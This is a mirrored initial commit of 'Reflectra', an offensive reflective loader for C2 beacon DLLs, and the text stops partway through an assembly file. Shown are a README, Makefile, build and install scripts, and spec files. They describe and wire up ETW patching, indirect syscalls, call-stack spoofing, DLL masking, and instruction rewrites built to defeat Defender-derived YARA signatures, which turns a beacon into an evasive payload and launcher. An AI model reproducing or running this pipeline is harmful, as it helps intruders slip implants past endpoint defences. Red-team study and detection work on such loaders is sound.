mirror of
https://github.com/k1ng0fn0th1ng/reflectra
synced 2026-06-21 13:55:04 +00:00
Initial commit
This commit is contained in:
+59
@@ -0,0 +1,59 @@
|
|||||||
|
# Prerequisites
|
||||||
|
*.d
|
||||||
|
|
||||||
|
# Object files
|
||||||
|
*.o
|
||||||
|
*.ko
|
||||||
|
*.obj
|
||||||
|
*.elf
|
||||||
|
|
||||||
|
# Linker output
|
||||||
|
*.ilk
|
||||||
|
*.map
|
||||||
|
*.exp
|
||||||
|
|
||||||
|
# Precompiled Headers
|
||||||
|
*.gch
|
||||||
|
*.pch
|
||||||
|
|
||||||
|
# Libraries
|
||||||
|
*.lib
|
||||||
|
*.a
|
||||||
|
*.la
|
||||||
|
*.lo
|
||||||
|
|
||||||
|
# Shared objects (inc. Windows DLLs)
|
||||||
|
*.dll
|
||||||
|
*.so
|
||||||
|
*.so.*
|
||||||
|
*.dylib
|
||||||
|
|
||||||
|
# Executables
|
||||||
|
*.exe
|
||||||
|
*.out
|
||||||
|
*.app
|
||||||
|
*.i*86
|
||||||
|
*.x86_64
|
||||||
|
*.hex
|
||||||
|
|
||||||
|
# Debug files
|
||||||
|
*.dSYM/
|
||||||
|
*.su
|
||||||
|
*.idb
|
||||||
|
*.pdb
|
||||||
|
|
||||||
|
# Kernel Module Compile Results
|
||||||
|
*.mod*
|
||||||
|
*.cmd
|
||||||
|
.tmp_versions/
|
||||||
|
modules.order
|
||||||
|
Module.symvers
|
||||||
|
Mkfile.old
|
||||||
|
dkms.conf
|
||||||
|
|
||||||
|
# Custom
|
||||||
|
bin/
|
||||||
|
dist/
|
||||||
|
libtcg/
|
||||||
|
.vscode/
|
||||||
|
stub/pic.h
|
||||||
@@ -0,0 +1,134 @@
|
|||||||
|
CC_64 := x86_64-w64-mingw32-gcc
|
||||||
|
NASM := nasm
|
||||||
|
|
||||||
|
SRC_DIR := src
|
||||||
|
BIN_DIR := bin
|
||||||
|
STUB_DIR := stub
|
||||||
|
|
||||||
|
# Keep release and debug artifacts separated to avoid mixing object files.
|
||||||
|
RELEASE_DIR := $(BIN_DIR)/release
|
||||||
|
DEBUG_DIR := $(BIN_DIR)/debug
|
||||||
|
|
||||||
|
# Default output path for the stub target. It can be overridden:
|
||||||
|
# make stub STUB_OUTPUT=/custom/path/stub.exe
|
||||||
|
STUB_OUTPUT ?= $(BIN_DIR)/stub.exe
|
||||||
|
|
||||||
|
# Common compiler flags shared by both release and debug builds.
|
||||||
|
# -MMD -MP generates dependency files (*.d) automatically so header
|
||||||
|
# changes trigger recompilation of the affected object files.
|
||||||
|
COMMON_CFLAGS := -I./$(SRC_DIR) \
|
||||||
|
-masm=intel \
|
||||||
|
-fno-stack-protector \
|
||||||
|
-fno-builtin \
|
||||||
|
-fno-jump-tables \
|
||||||
|
-fno-exceptions \
|
||||||
|
-fno-asynchronous-unwind-tables \
|
||||||
|
-fno-unwind-tables \
|
||||||
|
-fno-zero-initialized-in-bss \
|
||||||
|
-ffunction-sections \
|
||||||
|
-fdata-sections \
|
||||||
|
-fno-ident \
|
||||||
|
-mno-stack-arg-probe \
|
||||||
|
-MMD \
|
||||||
|
-MP
|
||||||
|
|
||||||
|
# Release-only optimization flags.
|
||||||
|
RELEASE_CFLAGS := -O1 \
|
||||||
|
-fomit-frame-pointer \
|
||||||
|
-fno-align-functions \
|
||||||
|
-fno-align-jumps \
|
||||||
|
-fno-align-loops
|
||||||
|
|
||||||
|
# Extra warnings to catch suspicious constructs during compilation.
|
||||||
|
WARN_CFLAGS := -Wall -Wextra -Wshadow -Wundef -Wno-pointer-arith
|
||||||
|
|
||||||
|
# Debug-only flags.
|
||||||
|
DEBUG_CFLAGS := -O0 -g3 -DDEBUG
|
||||||
|
|
||||||
|
# Stub build flags.
|
||||||
|
STUB_CFLAGS := -O1 -fno-stack-protector
|
||||||
|
STUB_LDFLAGS := -Wl,--subsystem,windows -Wl,--gc-sections -s
|
||||||
|
|
||||||
|
NASMFLAGS := -f bin -O3 -w-none
|
||||||
|
|
||||||
|
# Source files compiled with GCC.
|
||||||
|
SRCS := \
|
||||||
|
$(SRC_DIR)/core/loader.c \
|
||||||
|
$(SRC_DIR)/core/services.c \
|
||||||
|
$(SRC_DIR)/evasion/spoof.c \
|
||||||
|
$(SRC_DIR)/evasion/hooks.c \
|
||||||
|
$(SRC_DIR)/evasion/syscalls.c \
|
||||||
|
$(SRC_DIR)/evasion/patch.c \
|
||||||
|
$(SRC_DIR)/evasion/mask.c \
|
||||||
|
$(SRC_DIR)/utils/utils.c \
|
||||||
|
$(SRC_DIR)/pico/pico.c
|
||||||
|
|
||||||
|
# Convert source file paths into release/debug object file paths.
|
||||||
|
# Example:
|
||||||
|
# src/core/loader.c -> bin/release/core/loader.x64.o
|
||||||
|
RELEASE_OBJS := $(patsubst $(SRC_DIR)/%.c,$(RELEASE_DIR)/%.x64.o,$(SRCS))
|
||||||
|
DEBUG_OBJS := $(patsubst $(SRC_DIR)/%.c,$(DEBUG_DIR)/%.x64.o,$(SRCS))
|
||||||
|
|
||||||
|
# Dependency files generated by -MMD -MP.
|
||||||
|
# Example:
|
||||||
|
# bin/release/core/loader.x64.o -> bin/release/core/loader.x64.d
|
||||||
|
RELEASE_DEPS := $(RELEASE_OBJS:.o=.d)
|
||||||
|
DEBUG_DEPS := $(DEBUG_OBJS:.o=.d)
|
||||||
|
|
||||||
|
RELEASE_ASM := \
|
||||||
|
$(RELEASE_DIR)/asm/draugr.x64.bin \
|
||||||
|
$(RELEASE_DIR)/asm/dummy.x64.bin
|
||||||
|
|
||||||
|
DEBUG_ASM := \
|
||||||
|
$(DEBUG_DIR)/asm/draugr.x64.bin \
|
||||||
|
$(DEBUG_DIR)/asm/dummy.x64.bin
|
||||||
|
|
||||||
|
all: release
|
||||||
|
|
||||||
|
release: $(RELEASE_OBJS) $(RELEASE_ASM)
|
||||||
|
|
||||||
|
debug: $(DEBUG_OBJS) $(DEBUG_ASM)
|
||||||
|
|
||||||
|
# Build the Windows stub executable.
|
||||||
|
stub:
|
||||||
|
mkdir -p "$(dir $(STUB_OUTPUT))"
|
||||||
|
$(CC_64) $(STUB_DIR)/stub.c -o "$(STUB_OUTPUT)" $(STUB_CFLAGS) $(STUB_LDFLAGS)
|
||||||
|
|
||||||
|
clean:
|
||||||
|
rm -rf "$(BIN_DIR)"
|
||||||
|
|
||||||
|
print-vars:
|
||||||
|
@echo "RELEASE_OBJS=$(RELEASE_OBJS)"
|
||||||
|
@echo "DEBUG_OBJS=$(DEBUG_OBJS)"
|
||||||
|
@echo "RELEASE_ASM=$(RELEASE_ASM)"
|
||||||
|
@echo "DEBUG_ASM=$(DEBUG_ASM)"
|
||||||
|
|
||||||
|
# Pattern rules enable incremental builds:
|
||||||
|
# Each object file depends on exactly one source file.
|
||||||
|
# Only modified sources are recompiled.
|
||||||
|
|
||||||
|
# C Compilation
|
||||||
|
$(RELEASE_DIR)/%.x64.o: $(SRC_DIR)/%.c
|
||||||
|
mkdir -p "$(dir $@)"
|
||||||
|
$(CC_64) -DWIN_X64 $(WARN_CFLAGS) $(COMMON_CFLAGS) $(RELEASE_CFLAGS) -c "$<" -o "$@"
|
||||||
|
|
||||||
|
$(DEBUG_DIR)/%.x64.o: $(SRC_DIR)/%.c
|
||||||
|
mkdir -p "$(dir $@)"
|
||||||
|
$(CC_64) -DWIN_X64 $(WARN_CFLAGS) $(COMMON_CFLAGS) $(DEBUG_CFLAGS) -c "$<" -o "$@"
|
||||||
|
|
||||||
|
# ASM Compilation
|
||||||
|
$(RELEASE_DIR)/%.x64.bin: $(SRC_DIR)/%.asm
|
||||||
|
mkdir -p "$(dir $@)"
|
||||||
|
$(NASM) "$<" -o "$@" $(NASMFLAGS)
|
||||||
|
|
||||||
|
$(DEBUG_DIR)/%.x64.bin: $(SRC_DIR)/%.asm
|
||||||
|
mkdir -p "$(dir $@)"
|
||||||
|
$(NASM) "$<" -o "$@" $(NASMFLAGS)
|
||||||
|
|
||||||
|
# Include auto-generated dependency files if they already exist.
|
||||||
|
# The leading '-' prevents errors on the first build, when .d files have not been generated yet.
|
||||||
|
-include $(RELEASE_DEPS)
|
||||||
|
-include $(DEBUG_DEPS)
|
||||||
|
|
||||||
|
# These targets are commands, not real files.
|
||||||
|
.PHONY: all release debug stub clean print-vars
|
||||||
@@ -0,0 +1,208 @@
|
|||||||
|
# Reflectra
|
||||||
|
|
||||||
|

|
||||||
|

|
||||||
|

|
||||||
|

|
||||||
|
|
||||||
|
Reflectra is a **User-Defined Reflective Loader (UDRL)** built on top of [Crystal Palace][1] and inspired by the work of [Rasta Mouse][2].
|
||||||
|
It focuses on providing a reusable, modular UDRL architecture that can be integrated across multiple C2 frameworks while maintaining full control over execution flow and evasion.
|
||||||
|
|
||||||
|
## Overview
|
||||||
|
|
||||||
|
Reflectra provides:
|
||||||
|
|
||||||
|
* Custom reflective loading pipeline built on top of Crystal Palace
|
||||||
|
* Modular evasion (syscalls, spoofing, patching)
|
||||||
|
* Brings custom evasion capabilities to Beacons
|
||||||
|
* Full control over execution flow and memory layout
|
||||||
|
* Designed for integration with DLL-based C2 payloads
|
||||||
|
|
||||||
|
It can be integrated into any framework that delivers payloads as DLLs.
|
||||||
|
|
||||||
|
## What is a User-Defined Reflective Loader (UDRL)
|
||||||
|
|
||||||
|
A User-Defined Reflective Loader (UDRL) is a custom loader that:
|
||||||
|
|
||||||
|
* Manually maps a DLL into memory
|
||||||
|
* Resolves imports and relocations
|
||||||
|
* Executes the entrypoint without using the Windows loader
|
||||||
|
|
||||||
|
Unlike standard reflective loaders, a UDRL gives full control over:
|
||||||
|
|
||||||
|
* Memory layout and permissions
|
||||||
|
* Import resolution strategy
|
||||||
|
* Execution flow
|
||||||
|
* Transformation and obfuscation logic
|
||||||
|
|
||||||
|
## Features
|
||||||
|
|
||||||
|
### Core
|
||||||
|
|
||||||
|
* Manual PE loading (sections, relocations, imports)
|
||||||
|
* Dynamic DLL entrypoint resolution (`Start`, `Run`, `Main`, etc)
|
||||||
|
* Loader self-cleanup after execution (Free & Run)
|
||||||
|
* Debug mode with verbose logging (removed in release builds)
|
||||||
|
|
||||||
|
### Evasion
|
||||||
|
|
||||||
|
* Stack call spoofing using [Draugr][3]
|
||||||
|
* Indirect syscalls using [LibGate][4]
|
||||||
|
* ETW user-mode patching (byte patching)
|
||||||
|
* DLL masking via XOR encryption
|
||||||
|
|
||||||
|
### Build & Pipeline
|
||||||
|
|
||||||
|
* Integration with Crystal Palace
|
||||||
|
* Automatic YARA rule generation and mutation dealing with [islands of invariance][5]
|
||||||
|
* Simple stub generation for standalone execution
|
||||||
|
|
||||||
|
### Testing
|
||||||
|
|
||||||
|
* Tested against Defender-derived YARA rules using [defender2yara][6]
|
||||||
|
|
||||||
|
## Install
|
||||||
|
|
||||||
|
Reflectra depends on external components that are not redistributed, such as [Crystal Palace][1] and Tradecraft Garden libraries.
|
||||||
|
To install all required dependencies:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
./install.sh
|
||||||
|
```
|
||||||
|
|
||||||
|
This will:
|
||||||
|
|
||||||
|
* Download Crystal Palace distribution files
|
||||||
|
* Download Tradecraft Garden sources
|
||||||
|
* Build libtcg locally
|
||||||
|
* Prepare the environment for building payloads
|
||||||
|
|
||||||
|
## Usage
|
||||||
|
|
||||||
|
### AdaptixC2
|
||||||
|
|
||||||
|
1. Generate your beacon as a DLL
|
||||||
|
2. Build the payload using Reflectra:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
./build.sh <dll_path> <output_path>
|
||||||
|
```
|
||||||
|
|
||||||
|
3. Execute using the stub or the `run.x64.exe` from Crystal Palace:
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
.\run.x64.exe out.x64.bin
|
||||||
|
```
|
||||||
|
|
||||||
|
### With Any Other C2
|
||||||
|
|
||||||
|
1. Generate a DLL payload (preferably stageless)
|
||||||
|
2. Build it using Reflectra
|
||||||
|
3. Execute via:
|
||||||
|
* stub executable
|
||||||
|
* custom runner
|
||||||
|
* integrated loader
|
||||||
|
4. You will need to modify `spec/pico.spec` and overwrite `TARGET_FUNCTION` to target the function to execute
|
||||||
|
* This is required because Reflectra does not assume a fixed entrypoint, allowing flexibility across different C2 frameworks.
|
||||||
|
|
||||||
|
### Debug
|
||||||
|
|
||||||
|
You can debug it using this command:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
./build.sh --debug ./dist/demo/test.x64.dll <output_path>
|
||||||
|
```
|
||||||
|
|
||||||
|
Debug messages are emitted via `OutputDebugStringA` and can be viewed using `DebugView` from SysinternalsSuite
|
||||||
|
|
||||||
|
### Output
|
||||||
|
|
||||||
|
* `out.x64.bin` → transformed payload
|
||||||
|
* `rules.yar` → generated YARA rules
|
||||||
|
* `stub.exe` → executable wrapper
|
||||||
|
* `out.x64.debug.bin` → optional debug payload
|
||||||
|
|
||||||
|
## Architecture
|
||||||
|
|
||||||
|
### Reflectra
|
||||||
|
|
||||||
|
```mermaid
|
||||||
|
flowchart LR
|
||||||
|
A[Patch ETW] --> B[Load PICO]
|
||||||
|
B --> C[Setup Hooks]
|
||||||
|
C --> D[Unmask DLL]
|
||||||
|
D --> E[Map DLL into Memory]
|
||||||
|
E --> F[Resolve Imports and Apply Relocations]
|
||||||
|
F --> G[Restore DLL Section Permissions]
|
||||||
|
G --> H[Execute PICO]
|
||||||
|
H --> I[Free Loader]
|
||||||
|
I --> J[Call DllMain]
|
||||||
|
J --> K[Call Target Function]
|
||||||
|
```
|
||||||
|
|
||||||
|
### Pipeline
|
||||||
|
|
||||||
|
```mermaid
|
||||||
|
flowchart LR
|
||||||
|
A[Input DLL] --> B[build.sh]
|
||||||
|
|
||||||
|
B --> C[Release]
|
||||||
|
B --> D[Debug]
|
||||||
|
|
||||||
|
C --> E[Compile Reflectra with MinGW]
|
||||||
|
D --> F[Compile Reflectra with MinGW]
|
||||||
|
|
||||||
|
E --> G[Link with Crystal Palace]
|
||||||
|
F --> H[Link with Crystal Palace]
|
||||||
|
|
||||||
|
G --> I[out.x64.bin]
|
||||||
|
G --> J[rules.yar]
|
||||||
|
I --> K[Generate pic.h with xxd]
|
||||||
|
K --> L[Build stub.exe]
|
||||||
|
|
||||||
|
H --> M[out.x64.debug.bin]
|
||||||
|
```
|
||||||
|
|
||||||
|
## Limitations
|
||||||
|
|
||||||
|
* Some DLL payloads (e.g., Sliver) may not be compatible due to their Go-based runtime
|
||||||
|
* Dynamically resolved APIs are not hooked; only functions resolved via the IAT are affected
|
||||||
|
|
||||||
|
## Design Goals
|
||||||
|
|
||||||
|
* Bring UDRL to public C2 like AdaptixC2
|
||||||
|
* Define a flexible structure for Crystal Palace projects that can be used with any project
|
||||||
|
* Keep the loader minimal and modular
|
||||||
|
* Separate build-time logic from runtime execution
|
||||||
|
* Avoid tight coupling with any specific C2
|
||||||
|
* Enable experimentation and research
|
||||||
|
|
||||||
|
## References & Credits
|
||||||
|
|
||||||
|
* Crystal Palace - Core framework
|
||||||
|
* Rasta Mouse - [Crystal-Kit][2], [LibGate][4], [CRTL][7] research inspiration
|
||||||
|
* Draugr
|
||||||
|
|
||||||
|
## Disclaimer
|
||||||
|
|
||||||
|
This project is intended for:
|
||||||
|
|
||||||
|
* Research
|
||||||
|
* Development
|
||||||
|
* Educational purposes
|
||||||
|
|
||||||
|
Unauthorized use against systems you do not own is illegal.
|
||||||
|
|
||||||
|
## License
|
||||||
|
|
||||||
|
This project is licensed under the MIT License.
|
||||||
|
|
||||||
|
See the LICENSE file for more details.
|
||||||
|
|
||||||
|
[1]: https://tradecraftgarden.org/crystalpalace.html
|
||||||
|
[2]: https://github.com/rasta-mouse/Crystal-Kit
|
||||||
|
[3]: https://github.com/NtDallas/Draugr
|
||||||
|
[4]: https://github.com/rasta-mouse/LibGate
|
||||||
|
[5]: https://rastamouse.me/islands-of-invariance/
|
||||||
|
[6]: https://github.com/t-tani/defender2yara
|
||||||
|
[7]: https://www.zeropointsecurity.co.uk/course/red-team-ops-ii
|
||||||
@@ -0,0 +1,176 @@
|
|||||||
|
#!/usr/bin/env bash
|
||||||
|
set -Eeuo pipefail
|
||||||
|
|
||||||
|
# Usage:
|
||||||
|
# ./build.sh [--debug] <dll_path> <output_path>
|
||||||
|
#
|
||||||
|
# Examples:
|
||||||
|
# ./build.sh /path/to/agent.dll /tmp/output
|
||||||
|
# ./build.sh --debug /path/to/agent.dll /tmp/output
|
||||||
|
|
||||||
|
MODE="release"
|
||||||
|
DLL_PATH=""
|
||||||
|
OUTPUT_PATH=""
|
||||||
|
|
||||||
|
readonly LINKER="./dist/link"
|
||||||
|
readonly SPEC_FILE="spec/loader.spec"
|
||||||
|
readonly STUB_HEADER="stub/pic.h"
|
||||||
|
|
||||||
|
readonly RELEASE_BIN_FILENAME="out.x64.bin"
|
||||||
|
readonly DEBUG_BIN_FILENAME="out.x64.debug.bin"
|
||||||
|
readonly RULES_FILENAME="rules.yar"
|
||||||
|
readonly STUB_FILENAME="stub.exe"
|
||||||
|
|
||||||
|
usage() {
|
||||||
|
cat <<'EOF'
|
||||||
|
Usage:
|
||||||
|
./build.sh [--debug] <dll_path> <output_path>
|
||||||
|
|
||||||
|
Arguments:
|
||||||
|
dll_path Path to the DLL to link
|
||||||
|
output_path Directory where output files will be written
|
||||||
|
|
||||||
|
Options:
|
||||||
|
--debug Build the debug version instead of the release version
|
||||||
|
-h, --help Show this help message
|
||||||
|
EOF
|
||||||
|
}
|
||||||
|
|
||||||
|
log() {
|
||||||
|
printf '[*] %s\n' "$*"
|
||||||
|
}
|
||||||
|
|
||||||
|
error() {
|
||||||
|
printf '[!] %s\n' "$*" >&2
|
||||||
|
}
|
||||||
|
|
||||||
|
require_command() {
|
||||||
|
local cmd="$1"
|
||||||
|
|
||||||
|
if ! command -v "$cmd" >/dev/null 2>&1; then
|
||||||
|
error "Command not found: $cmd"
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
}
|
||||||
|
|
||||||
|
require_file() {
|
||||||
|
local file_path="$1"
|
||||||
|
|
||||||
|
if [[ ! -f "$file_path" ]]; then
|
||||||
|
error "File not found: $file_path"
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
}
|
||||||
|
|
||||||
|
ensure_directory() {
|
||||||
|
local dir_path="$1"
|
||||||
|
mkdir -p "$dir_path"
|
||||||
|
}
|
||||||
|
|
||||||
|
parse_args() {
|
||||||
|
while [[ $# -gt 0 ]]; do
|
||||||
|
case "$1" in
|
||||||
|
--debug)
|
||||||
|
MODE="debug"
|
||||||
|
shift
|
||||||
|
;;
|
||||||
|
-h|--help)
|
||||||
|
usage
|
||||||
|
exit 0
|
||||||
|
;;
|
||||||
|
--)
|
||||||
|
shift
|
||||||
|
break
|
||||||
|
;;
|
||||||
|
-*)
|
||||||
|
error "Unknown option: $1"
|
||||||
|
usage
|
||||||
|
exit 1
|
||||||
|
;;
|
||||||
|
*)
|
||||||
|
if [[ -z "$DLL_PATH" ]]; then
|
||||||
|
DLL_PATH="$1"
|
||||||
|
elif [[ -z "$OUTPUT_PATH" ]]; then
|
||||||
|
OUTPUT_PATH="$1"
|
||||||
|
else
|
||||||
|
error "Unexpected argument: $1"
|
||||||
|
usage
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
shift
|
||||||
|
;;
|
||||||
|
esac
|
||||||
|
done
|
||||||
|
|
||||||
|
if [[ -z "$DLL_PATH" || -z "$OUTPUT_PATH" ]]; then
|
||||||
|
usage
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
}
|
||||||
|
|
||||||
|
build_release() {
|
||||||
|
local release_bin_output
|
||||||
|
local rules_output
|
||||||
|
local stub_output
|
||||||
|
|
||||||
|
release_bin_output="$OUTPUT_PATH/$RELEASE_BIN_FILENAME"
|
||||||
|
rules_output="$OUTPUT_PATH/$RULES_FILENAME"
|
||||||
|
|
||||||
|
log "Building release version"
|
||||||
|
|
||||||
|
ensure_directory "$OUTPUT_PATH"
|
||||||
|
|
||||||
|
make -s clean
|
||||||
|
make -s release
|
||||||
|
|
||||||
|
"$LINKER" "$SPEC_FILE" "$DLL_PATH" "$release_bin_output" -g "$rules_output" -r %root=./ %MODE=release
|
||||||
|
|
||||||
|
xxd -i -n crystal_loader "$release_bin_output" > "$STUB_HEADER"
|
||||||
|
|
||||||
|
make -s stub "STUB_OUTPUT=$OUTPUT_PATH/$STUB_FILENAME"
|
||||||
|
|
||||||
|
log "Release build completed successfully"
|
||||||
|
}
|
||||||
|
|
||||||
|
build_debug() {
|
||||||
|
local debug_bin_output
|
||||||
|
|
||||||
|
debug_bin_output="$OUTPUT_PATH/$DEBUG_BIN_FILENAME"
|
||||||
|
|
||||||
|
log "Building debug version"
|
||||||
|
|
||||||
|
ensure_directory "$OUTPUT_PATH"
|
||||||
|
|
||||||
|
make -s clean
|
||||||
|
make -s debug
|
||||||
|
|
||||||
|
"$LINKER" "$SPEC_FILE" "$DLL_PATH" "$debug_bin_output" -r %root=./ %MODE=debug
|
||||||
|
|
||||||
|
log "Debug build completed successfully"
|
||||||
|
}
|
||||||
|
|
||||||
|
main() {
|
||||||
|
parse_args "$@"
|
||||||
|
|
||||||
|
require_command make
|
||||||
|
require_command xxd
|
||||||
|
|
||||||
|
require_file "$DLL_PATH"
|
||||||
|
require_file "$LINKER"
|
||||||
|
require_file "$SPEC_FILE"
|
||||||
|
|
||||||
|
case "$MODE" in
|
||||||
|
release)
|
||||||
|
build_release
|
||||||
|
;;
|
||||||
|
debug)
|
||||||
|
build_debug
|
||||||
|
;;
|
||||||
|
*)
|
||||||
|
error "Invalid mode: $MODE"
|
||||||
|
exit 1
|
||||||
|
;;
|
||||||
|
esac
|
||||||
|
}
|
||||||
|
|
||||||
|
main "$@"
|
||||||
Executable
+66
@@ -0,0 +1,66 @@
|
|||||||
|
#!/usr/bin/env bash
|
||||||
|
set -Eeuo pipefail
|
||||||
|
|
||||||
|
readonly CRYSTAL_PALACE_URL="https://tradecraftgarden.org/download"
|
||||||
|
readonly CPDIST_ARCHIVE="cpdist-latest.tgz"
|
||||||
|
readonly CPDIST_URL="$CRYSTAL_PALACE_URL/$CPDIST_ARCHIVE"
|
||||||
|
|
||||||
|
readonly TCG_ARCHIVE="tcg20260202.tgz"
|
||||||
|
readonly TCG_URL="$CRYSTAL_PALACE_URL/$TCG_ARCHIVE"
|
||||||
|
|
||||||
|
log() {
|
||||||
|
printf '[*] %s\n' "$*"
|
||||||
|
}
|
||||||
|
|
||||||
|
error() {
|
||||||
|
printf '[!] %s\n' "$*" >&2
|
||||||
|
}
|
||||||
|
|
||||||
|
require_command() {
|
||||||
|
local cmd="$1"
|
||||||
|
|
||||||
|
if ! command -v "$cmd" >/dev/null 2>&1; then
|
||||||
|
error "Required command not found: $cmd"
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
}
|
||||||
|
|
||||||
|
cleanup() {
|
||||||
|
rm -rf "$CPDIST_ARCHIVE" "$TCG_ARCHIVE" tcg/
|
||||||
|
}
|
||||||
|
|
||||||
|
main() {
|
||||||
|
require_command curl
|
||||||
|
require_command tar
|
||||||
|
require_command make
|
||||||
|
|
||||||
|
trap cleanup EXIT
|
||||||
|
|
||||||
|
log "Downloading Crystal Palace release"
|
||||||
|
curl -fsSL "$CPDIST_URL" -o "$CPDIST_ARCHIVE"
|
||||||
|
|
||||||
|
log "Extracting Crystal Palace release"
|
||||||
|
tar -xzf "$CPDIST_ARCHIVE"
|
||||||
|
|
||||||
|
log "Downloading Tradecraft Garden source"
|
||||||
|
curl -fsSL "$TCG_URL" -o "$TCG_ARCHIVE"
|
||||||
|
|
||||||
|
log "Extracting Tradecraft Garden source"
|
||||||
|
tar -xzf "$TCG_ARCHIVE"
|
||||||
|
|
||||||
|
if [[ ! -d "tcg/libtcg" ]]; then
|
||||||
|
error "Expected directory not found: tcg/libtcg"
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
|
||||||
|
log "Building libtcg"
|
||||||
|
make -s -C tcg/libtcg
|
||||||
|
|
||||||
|
log "Refreshing local libtcg directory"
|
||||||
|
rm -rf ./libtcg
|
||||||
|
mv tcg/libtcg ./libtcg
|
||||||
|
|
||||||
|
log "Installation completed successfully"
|
||||||
|
}
|
||||||
|
|
||||||
|
main "$@"
|
||||||
@@ -0,0 +1,51 @@
|
|||||||
|
x64:
|
||||||
|
setg "%path" %root <> "/bin/" <> %MODE <> "/"
|
||||||
|
|
||||||
|
load %path <> "core/loader.x64.o"
|
||||||
|
make pic +gofirst +optimize +disco +mutate
|
||||||
|
|
||||||
|
load %path <> "core/services.x64.o"
|
||||||
|
merge
|
||||||
|
|
||||||
|
load %path <> "evasion/spoof.x64.o"
|
||||||
|
merge
|
||||||
|
|
||||||
|
load %path <> "evasion/hooks.x64.o"
|
||||||
|
merge
|
||||||
|
|
||||||
|
load %path <> "evasion/syscalls.x64.o"
|
||||||
|
merge
|
||||||
|
|
||||||
|
load %path <> "evasion/patch.x64.o"
|
||||||
|
merge
|
||||||
|
|
||||||
|
load %path <> "utils/utils.x64.o"
|
||||||
|
merge
|
||||||
|
|
||||||
|
load %path <> "asm/draugr.x64.bin"
|
||||||
|
linkfunc "draugr_stub"
|
||||||
|
|
||||||
|
dfr "resolve" "ror13"
|
||||||
|
mergelib %root <> "/libtcg/libtcg.x64.zip"
|
||||||
|
|
||||||
|
attach "KERNEL32$VirtualAlloc" "_VirtualAlloc"
|
||||||
|
attach "KERNEL32$VirtualProtect" "_VirtualProtect"
|
||||||
|
|
||||||
|
generate $MASK 128
|
||||||
|
|
||||||
|
push $DLL
|
||||||
|
xor $MASK
|
||||||
|
preplen
|
||||||
|
link "dll"
|
||||||
|
|
||||||
|
push $MASK
|
||||||
|
preplen
|
||||||
|
link "mask"
|
||||||
|
|
||||||
|
# Create and link PICO
|
||||||
|
run "pico.spec"
|
||||||
|
link "pico"
|
||||||
|
|
||||||
|
run "yara.spec"
|
||||||
|
|
||||||
|
export
|
||||||
@@ -0,0 +1,46 @@
|
|||||||
|
x64:
|
||||||
|
load %path <> "pico/pico.x64.o"
|
||||||
|
make object +optimize +disco +mutate
|
||||||
|
|
||||||
|
load %path <> "evasion/spoof.x64.o"
|
||||||
|
merge
|
||||||
|
|
||||||
|
load %path <> "evasion/hooks.x64.o"
|
||||||
|
merge
|
||||||
|
|
||||||
|
load %path <> "evasion/syscalls.x64.o"
|
||||||
|
merge
|
||||||
|
|
||||||
|
load %path <> "evasion/mask.x64.o"
|
||||||
|
merge
|
||||||
|
|
||||||
|
load %path <> "utils/utils.x64.o"
|
||||||
|
merge
|
||||||
|
|
||||||
|
load %path <> "asm/draugr.x64.bin"
|
||||||
|
linkfunc "draugr_stub"
|
||||||
|
|
||||||
|
generate $KEY 128
|
||||||
|
patch "XOR_KEY" $KEY
|
||||||
|
|
||||||
|
# DLL Hooks
|
||||||
|
addhook "KERNEL32$VirtualAlloc" "_VirtualAlloc"
|
||||||
|
addhook "KERNEL32$VirtualProtect" "_VirtualProtect"
|
||||||
|
addhook "KERNEL32$VirtualFree" "_VirtualFree"
|
||||||
|
addhook "KERNEL32$Sleep" "_Sleep"
|
||||||
|
|
||||||
|
# Needed to free the loader
|
||||||
|
attach "KERNEL32$VirtualFree" "_VirtualFree"
|
||||||
|
# Needed to hook VirtualProtect in mask.c
|
||||||
|
attach "KERNEL32$VirtualProtect" "_VirtualProtect"
|
||||||
|
|
||||||
|
exportfunc "FreeLoader" "__tag_FreeLoader"
|
||||||
|
exportfunc "SetupHooks" "__tag_SetupHooks"
|
||||||
|
exportfunc "SetupMemory" "__tag_SetupMemory"
|
||||||
|
|
||||||
|
mergelib %root <> "/libtcg/libtcg.x64.zip"
|
||||||
|
|
||||||
|
pack $targetFunction "a" "GetVersions"
|
||||||
|
patch "TARGET_FUNCTION" $targetFunction
|
||||||
|
|
||||||
|
export
|
||||||
@@ -0,0 +1,30 @@
|
|||||||
|
x64:
|
||||||
|
load $DUMMY %path <> "asm/dummy.x64.bin"
|
||||||
|
|
||||||
|
# ParseDLL from Crystal Palace
|
||||||
|
ised insert "add rcx, rax" $DUMMY
|
||||||
|
|
||||||
|
# LoadPico from Crystal Palace
|
||||||
|
ised insert "call PicoDataSize" $DUMMY
|
||||||
|
|
||||||
|
# call SizeOfDLL from loader.c
|
||||||
|
ised insert "call SizeOfDLL" $DUMMY
|
||||||
|
|
||||||
|
# init_frame_info from spoof.c
|
||||||
|
ised insert "mov dword ptr [rbx+0x10], 0x17" $DUMMY
|
||||||
|
|
||||||
|
# GetSyscall from syscall.c
|
||||||
|
ised insert "shl ebx, 8" $DUMMY
|
||||||
|
|
||||||
|
# SpoofedSyscall from hooks.c
|
||||||
|
ised insert "mov r12d, ecx" $DUMMY
|
||||||
|
|
||||||
|
# go from loader.c
|
||||||
|
ised insert "sub rsp, 0x20" $DUMMY
|
||||||
|
|
||||||
|
# get_text_section_size from spoof.c
|
||||||
|
pack $XOREAX "h" "31C0" # xor eax, eax
|
||||||
|
ised replace "mov eax, 0" $XOREAX
|
||||||
|
|
||||||
|
# Disassemble object on stack and write output to assembly.txt
|
||||||
|
disassemble "bin/assembly.txt"
|
||||||
@@ -0,0 +1,134 @@
|
|||||||
|
[BITS 64]
|
||||||
|
|
||||||
|
; =====================================================================
|
||||||
|
; Draugr Stub - Stack Spoofing Engine
|
||||||
|
; Highly optimized and YARA-resistant version
|
||||||
|
; =====================================================================
|
||||||
|
|
||||||
|
draugr_stub:
|
||||||
|
pop rax ; Real return address in rax
|
||||||
|
|
||||||
|
; ---------------------------------------------------------------------
|
||||||
|
; Store original registers (rdi, rsi)
|
||||||
|
; ---------------------------------------------------------------------
|
||||||
|
mov r10, rdi
|
||||||
|
mov r11, rsi
